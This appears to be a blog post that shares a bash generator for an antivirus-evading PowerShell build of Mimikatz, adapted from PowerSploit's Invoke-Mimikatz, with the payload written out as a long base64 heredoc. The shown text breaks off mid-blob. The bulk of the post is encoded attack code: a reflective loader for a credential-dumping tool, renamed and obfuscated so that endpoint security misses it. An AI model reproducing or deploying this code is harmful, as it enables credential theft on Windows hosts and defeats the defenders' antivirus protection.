Sharing a lame shell script generator to produce a undetectable latest mimikatz 2.1.1 20170327 (Que ferions-nous sans toi @gentilkiwi).
I like writing generators. So I have decided to write one for a powershell script mimikatz that would get through antivirus software when I needed to verify some security settings on some servers.
The regular mimikatz releases get picked up by most AV’s as well as custom builds nowdays (unless you do some heavy Visual C++ kung-fu and make the code undetectable )
I was lazy and decided to do what most other people do in this case; steal other code and modify it.
Pablo Picasso once said “Good Artists Copy, Great Artist Steal”
So lets get on to it then :)
I have used the most of the code from here : https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
Some ideas from here : http://www.blackhillsinfosec.com/?p=5555
And finally my stuff here : (Sorry for the Base64 stuff there but it proved the most reliable method of compressing the original “huge” powershell kung-fu from PowerShellMafia)
make this script executable and place it in some custom dir
For the paranoid .. feel free to base64 -d the stuff here , its legit
############################################################################ # ("`-''-/").___..--''"`-. # # `6_ 6 ) `-. ( ).`-.__.`) Mimikatz PS1 generator # # (_Y_.)' ._ ) `._ `. ``-..-' # # _..`--'_..-_/ /--'_.' ,' # #(il),-'' (li),' ((!.-' # ########################################################################### #!/bin/bash ########################################################################################################## # Here is the base64 encoded modified powershell template from PowershellMafia # # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 # # Part 01 # ########################################################################################################## cat << EOF > file01 ZnVuY3Rpb24gZ2V0c3R1ZmYKewoKCltDbWRsZXRCaW5kaW5nKERlZmF1bHRQYXJhbWV0ZXJTZXRO YW1lPSJnZXRzdHVmZiIpXQpQYXJhbSgKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwKV0KCVtTdHJp bmdbXV0KCSRDb21wdXRlck5hbWUsCiAKCiAgICBbUGFyYW1ldGVyKFBhcmFtZXRlclNldE5hbWUg PSAiZ2V0c3R1ZmYiLCBQb3NpdGlvbiA9IDEpXQogICAgW1N0cmluZ10KICAgICRDb21tYW5kCiAK CikKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKCgokUmVtb3RlU2NyaXB0QmxvY2sgPSB7Cglb Q21kbGV0QmluZGluZygpXQoJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRh dG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRQRUJ5dGVzNjQsCgogICAgICAgIFtQYXJhbWV0 ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N0cmluZ10KCQkkUEVCeXRl czMyLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJ CVtTdHJpbmddCgkJJEZ1bmNSZXR1cm5UeXBlLAoJCQkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9 IDMsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW0ludDMyXQoJCSRQcm9jSWQsCgkJCgkJW1BhcmFt ZXRlcihQb3NpdGlvbiA9IDQsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW1N0cmluZ10KCQkkUHJv Y05hbWUsCgogICAgICAgIFtQYXJhbWV0ZXIoUG9zaXRpb24gPSA1LCBNYW5kYXRvcnkgPSAkZmFs c2UpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJEV4ZUFyZ3MKCSkKCQoKCgoJRnVuY3Rpb24g R2V0LVdpbjMyVHlwZXMKCXsKCQkkV2luMzJUeXBlcyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVj dAoKCgoJCSREb21haW4gPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbgoJCSREeW5hbWljQXNz ZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnRHluYW1p Y0Fzc2VtYmx5JykKCQkkQXNzZW1ibHlCdWlsZGVyID0gJERvbWFpbi5EZWZpbmVEeW5hbWljQXNz ZW1ibHkoJER5bmFtaWNBc3NlbWJseSwgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlC dWlsZGVyQWNjZXNzXTo6UnVuKQoJCSRNb2R1bGVCdWlsZGVyID0gJEFzc2VtYmx5QnVpbGRlci5E ZWZpbmVEeW5hbWljTW9kdWxlKCdEeW5hbWljTW9kdWxlJywgJGZhbHNlKQoJCSRDb25zdHJ1Y3Rv ckluZm8gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxBc0F0dHJpYnV0 ZV0uR2V0Q29uc3RydWN0b3JzKClbMF0KCgoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk ZXIuRGVmaW5lRW51bSgnTWFjaGluZVR5cGUnLCAnUHVibGljJywgW1VJbnQxNl0pCgkJJFR5cGVC dWlsZGVyLkRlZmluZUxpdGVyYWwoJ05hdGl2ZScsIFtVSW50MTZdIDApIHwgT3V0LU51bGwKCQkk VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSTM4NicsIFtVSW50MTZdIDB4MDE0YykgfCBPdXQt TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJdGFuaXVtJywgW1VJbnQxNl0gMHgw MjAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ3g2NCcsIFtVSW50 MTZdIDB4ODY2NCkgfCBPdXQtTnVsbAoJCSRNYWNoaW5lVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVh dGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl cnR5IC1OYW1lIE1hY2hpbmVUeXBlIC1WYWx1ZSAkTWFjaGluZVR5cGUKCgoJCSRUeXBlQnVpbGRl ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZUVudW0oJ01hZ2ljVHlwZScsICdQdWJsaWMnLCBbVUlu dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfTlRfT1BUSU9OQUxfSERS MzJfTUFHSUMnLCBbVUludDE2XSAweDEwYikgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp bmVMaXRlcmFsKCdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycsIFtVSW50MTZdIDB4MjBi KSB8IE91dC1OdWxsCgkJJE1hZ2ljVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkk V2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1h Z2ljVHlwZSAtVmFsdWUgJE1hZ2ljVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk ZXIuRGVmaW5lRW51bSgnU3ViU3lzdGVtVHlwZScsICdQdWJsaWMnLCBbVUludDE2XSkKCQkkVHlw ZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1VOS05PV04nLCBbVUludDE2 XSAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZ U1RFTV9OQVRJVkUnLCBbVUludDE2XSAxKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu ZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9XSU5ET1dTX0dVSScsIFtVSW50MTZdIDIpIHwgT3V0 LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1dJTkRP V1NfQ1VJJywgW1VJbnQxNl0gMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRl cmFsKCdJTUFHRV9TVUJTWVNURU1fUE9TSVhfQ1VJJywgW1VJbnQxNl0gNykgfCBPdXQtTnVsbAoJ CSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fV0lORE9XU19DRV9H VUknLCBbVUludDE2XSA5KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwo J0lNQUdFX1NVQlNZU1RFTV9FRklfQVBQTElDQVRJT04nLCBbVUludDE2XSAxMCkgfCBPdXQtTnVs bAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX0JPT1Rf U0VSVklDRV9EUklWRVInLCBbVUludDE2XSAxMSkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX1JVTlRJTUVfRFJJVkVSJywgW1VJbnQx Nl0gMTIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VC U1lTVEVNX0VGSV9ST00nLCBbVUludDE2XSAxMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fWEJPWCcsIFtVSW50MTZdIDE0KSB8IE91dC1O dWxsCgkJJFN1YlN5c3RlbVR5cGUgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgkJJFdpbjMy VHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBTdWJTeXN0 ZW1UeXBlIC1WYWx1ZSAkU3ViU3lzdGVtVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1 aWxkZXIuRGVmaW5lRW51bSgnRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZScsICdQdWJsaWMnLCBbVUlu dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzAnLCBbVUludDE2XSAweDAw MDEpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzEnLCBbVUlu dDE2XSAweDAwMDIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVT XzInLCBbVUludDE2XSAweDAwMDQpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0 ZXJhbCgnUkVTXzMnLCBbVUludDE2XSAweDAwMDgpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu RGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UnLCBb VUludDE2XSAweDAwNDApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgn SU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19GT1JDRV9JTlRFR1JJVFknLCBbVUludDE2XSAweDAw ODApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NI QVJBQ1RFUklTVElDU19OWF9DT01QQVQnLCBbVUludDE2XSAweDAxMDApIHwgT3V0LU51bGwKCQkk VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX0lT T0xBVElPTicsIFtVSW50MTZdIDB4MDIwMCkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp bmVMaXRlcmFsKCdJTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTk9fU0VIJywgW1VJbnQxNl0gMHgw NDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENI QVJBQ1RFUklTVElDU19OT19CSU5EJywgW1VJbnQxNl0gMHgwODAwKSB8IE91dC1OdWxsCgkJJFR5 cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ1JFU180JywgW1VJbnQxNl0gMHgxMDAwKSB8IE91dC1O dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElD U19XRE1fRFJJVkVSJywgW1VJbnQxNl0gMHgyMDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy LkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElDU19URVJNSU5BTF9TRVJWRVJf QVdBUkUnLCBbVUludDE2XSAweDgwMDApIHwgT3V0LU51bGwKCQkkRGxsQ2hhcmFjdGVyaXN0aWNz VHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1i ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIERsbENoYXJhY3RlcmlzdGljc1R5cGUg LVZhbHVlICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlCgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw ZSgnSU1BR0VfREFUQV9ESVJFQ1RPUlknLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVd LCA4KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxBZGRyZXNzJywgW1VJbnQz Ml0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRl ZmluZUZpZWxkKCdTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQpIHwgT3V0 LU51bGwKCQkkSU1BR0VfREFUQV9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgp CgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFt ZSBJTUFHRV9EQVRBX0RJUkVDVE9SWSAtVmFsdWUgJElNQUdFX0RBVEFfRElSRUNUT1JZCgoKCQkk QXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVl bnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRN b2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0ZJTEVfSEVBREVSJywgJEF0dHJpYnV0ZXMs IFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWNo aW5lJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdOdW1iZXJPZlNlY3Rpb25zJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxs CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdUaW1lRGF0ZVN0YW1wJywgW1VJbnQzMl0sICdQ dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQb2ludGVyVG9T eW1ib2xUYWJsZScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRl ci5EZWZpbmVGaWVsZCgnTnVtYmVyT2ZTeW1ib2xzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91 dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZPcHRpb25hbEhlYWRlcics IFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs ZCgnQ2hhcmFjdGVyaXN0aWNzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJElN QUdFX0ZJTEVfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVz IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9I RUFERVIgLVZhbHVlICRJTUFHRV9GSUxFX0hFQURFUgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw ZSgnSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5 cGVdLCAyNDApCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFnaWMnLCAkTWFnaWNUeXBl LCAnUHVibGljJykpLlNldE9mZnNldCgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZp bmVGaWVsZCgnTWFqb3JMaW5rZXJWZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNl dCgyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JMaW5rZXJW ZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNldCgzKSB8IE91dC1OdWxsCgkJKCRU eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykp LlNldE9mZnNldCg0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6 ZU9mSW5pdGlhbGl6ZWREYXRhJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgpIHwg T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZVbmluaXRpYWxpemVk RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgxMikgfCBPdXQtTnVsbAoJCSgk VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0FkZHJlc3NPZkVudHJ5UG9pbnQnLCBbVUludDMyXSwg J1B1YmxpYycpKS5TZXRPZmZzZXQoMTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdCYXNlT2ZDb2RlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwKSB8 IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1hZ2VCYXNlJywgW1VJbnQ2 NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E ZWZpbmVGaWVsZCgnU2VjdGlvbkFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9m ZnNldCgzMikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZpbGVBbGln bm1lbnQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMzYpIHwgT3V0LU51bGwKCQko JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpvck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBb VUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWls ZGVyLkRlZmluZUZpZWxkKCdNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBbVUludDE2XSwg J1B1YmxpYycpKS5TZXRPZmZzZXQoNDIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdNYWpvckltYWdlVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNl dCg0NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9ySW1hZ2VW ZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ2KSB8IE91dC1OdWxsCgkJ KCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQx Nl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ4KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E ZWZpbmVGaWVsZCgnTWlub3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSku U2V0T2Zmc2V0KDUwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnV2lu MzJWZXJzaW9uVmFsdWUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTIpIHwgT3V0 LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbWFnZScsIFtVSW50MzJd LCAnUHVibGljJykpLlNldE9mZnNldCg1NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVm aW5lRmllbGQoJ1NpemVPZkhlYWRlcnMnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo NjApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDaGVja1N1bScsIFtV SW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk ZXIuRGVmaW5lRmllbGQoJ1N1YnN5c3RlbScsICRTdWJTeXN0ZW1UeXBlLCAnUHVibGljJykpLlNl dE9mZnNldCg2OCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RsbENo YXJhY3RlcmlzdGljcycsICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlLCAnUHVibGljJykpLlNldE9m ZnNldCg3MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0 YWNrUmVzZXJ2ZScsIFtVSW50NjRdLCAnUHVibGljJykpLlNldE9mZnNldCg3MikgfCBPdXQtTnVs bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0YWNrQ29tbWl0JywgW1VJbnQ2 NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E ZWZpbmVGaWVsZCgnU2l6ZU9mSGVhcFJlc2VydmUnLCBbVUludDY0XSwgJ1B1YmxpYycpKS5TZXRP ZmZzZXQoODgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZI ZWFwQ29tbWl0JywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDk2KSB8IE91dC1OdWxs CgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG9hZGVyRmxhZ3MnLCBbVUludDMyXSwgJ1B1 YmxpYycpKS5TZXRPZmZzZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVG aWVsZCgnTnVtYmVyT2ZSdmFBbmRTaXplcycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNl dCgxMDgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdFeHBvcnRUYWJs ZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8IE91 dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1wb3J0VGFibGUnLCAkSU1BR0Vf REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVsbAoJCSgk VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1Jlc291cmNlVGFibGUnLCAkSU1BR0VfREFUQV9ESVJF Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk ZXIuRGVmaW5lRmllbGQoJ0V4Y2VwdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAn UHVibGljJykpLlNldE9mZnNldCgxMzYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdDZXJ0aWZpY2F0ZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj JykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdCYXNlUmVsb2NhdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykp LlNldE9mZnNldCgxNTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdE ZWJ1ZycsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8 IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXJjaGl0ZWN0dXJlJywgJElN QUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjgpIHwgT3V0LU51bGwK CQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdHbG9iYWxQdHInLCAkSU1BR0VfREFUQV9ESVJF Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE3NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk ZXIuRGVmaW5lRmllbGQoJ1RMU1RhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj JykpLlNldE9mZnNldCgxODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdMb2FkQ29uZmlnVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0 T2Zmc2V0KDE5MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0JvdW5k SW1wb3J0JywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDAp IHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdJQVQnLCAkSU1BR0VfREFU QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwOCkgfCBPdXQtTnVsbAoJCSgkVHlw ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlbGF5SW1wb3J0RGVzY3JpcHRvcicsICRJTUFHRV9EQVRB X0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJKCRUeXBl QnVpbGRlci5EZWZpbmVGaWVsZCgnQ0xSUnVudGltZUhlYWRlcicsICRJTUFHRV9EQVRBX0RJUkVD VE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl ci5EZWZpbmVGaWVsZCgnUmVzZXJ2ZWQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMn KSkuU2V0T2Zmc2V0KDIzMikgfCBPdXQtTnVsbAoJCSRJTUFHRV9PUFRJT05BTF9IRUFERVI2NCA9 ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1l bWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX09QVElPTkFMX0hFQURFUjY0IC1WYWx1 ZSAkSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQKCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgRXhwbGljaXRMYXlvdXQsIFNlYWxlZCwgQmVmb3Jl RmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lN 